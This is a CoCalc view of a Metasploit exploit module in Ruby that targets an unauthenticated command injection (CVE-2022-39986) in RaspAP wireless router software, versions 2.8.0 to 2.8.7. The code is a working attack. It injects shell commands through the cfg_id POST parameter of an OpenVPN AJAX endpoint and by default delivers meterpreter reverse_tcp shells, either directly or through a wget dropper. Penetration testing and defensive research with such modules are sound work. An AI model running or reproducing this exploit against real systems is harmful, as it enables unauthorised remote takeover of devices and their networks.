Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/http/raspap_rce.rb
33109 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::CmdStager
11
prepend Msf::Exploit::Remote::AutoCheck
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'RaspAP Unauthenticated Command Injection',
18
'Description' => %q{
19
RaspAP is feature-rich wireless router software that just works
20
on many popular Debian-based devices, including the Raspberry Pi.
21
A Command Injection vulnerability in RaspAP versions 2.8.0 thru 2.8.7 allows
22
unauthenticated attackers to execute arbitrary commands in the context of the user running RaspAP via the cfg_id
23
parameter in /ajax/openvpn/activate_ovpncfg.php and /ajax/openvpn/del_ovpncfg.php.
24
25
Successfully tested against RaspAP 2.8.0 and 2.8.7.
26
},
27
'License' => MSF_LICENSE,
28
'Author' => [
29
'Ege BALCI <egebalci[at]pm.me>', # msf module
30
'Ismael0x00', # original PoC, analysis
31
],
32
'References' => [
33
['CVE', '2022-39986'],
34
['URL', 'https://medium.com/@ismael0x00/multiple-vulnerabilities-in-raspap-3c35e78809f2'],
35
['GHSA', '7c28-wg7r-pg6f', 'raspap/raspap']
36
],
37
'Privileged' => false,
38
'Targets' => [
39
[
40
'Unix Command',
41
{
42
'Platform' => 'unix',
43
'Arch' => ARCH_CMD,
44
'Type' => :unix_cmd,
45
'DefaultOptions' => {
46
'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'
47
}
48
}
49
],
50
[
51
'Linux Dropper',
52
{
53
'Platform' => 'linux',
54
'Arch' => [ARCH_X86, ARCH_X64],
55
'Type' => :linux_dropper,
56
'CmdStagerFlavor' => :wget,
57
'DefaultOptions' => {
58
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
59
}
60
}
61
]
62
],
63
'DisclosureDate' => '2023-07-31',
64
'DefaultTarget' => 0,
65
'Notes' => {
66
'Stability' => [CRASH_SAFE],
67
'Reliability' => [REPEATABLE_SESSION],
68
'SideEffects' => []
69
}
70
)
71
)
72
register_options(
73
[
74
Opt::RPORT(80),
75
OptString.new('TARGETURI', [ true, 'The URI of the RaspAP Web GUI', '/'])
76
]
77
)
78
end
79
80
def check
81
res = send_request_cgi(
82
'uri' => normalize_uri(target_uri.path, 'ajax', 'openvpn', 'del_ovpncfg.php'),
83
'method' => 'POST'
84
)
85
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
86
87
if res.code == 200
88
return CheckCode::Appears
89
end
90
91
CheckCode::Safe
92
end
93
94
def execute_command(cmd, _opts = {})
95
send_request_cgi(
96
'uri' => normalize_uri(target_uri.path, 'ajax', 'openvpn', 'del_ovpncfg.php'),
97
'method' => 'POST',
98
'vars_post' => {
99
'cfg_id' => ";#{cmd};#"
100
}
101
)
102
end
103
104
def exploit
105
case target['Type']
106
when :unix_cmd
107
print_status("Executing #{target.name} with #{payload.encoded}")
108
execute_command(payload.encoded)
109
when :linux_dropper
110
print_status("Executing #{target.name}")
111
execute_cmdstager
112
end
113
end
114
end
115
116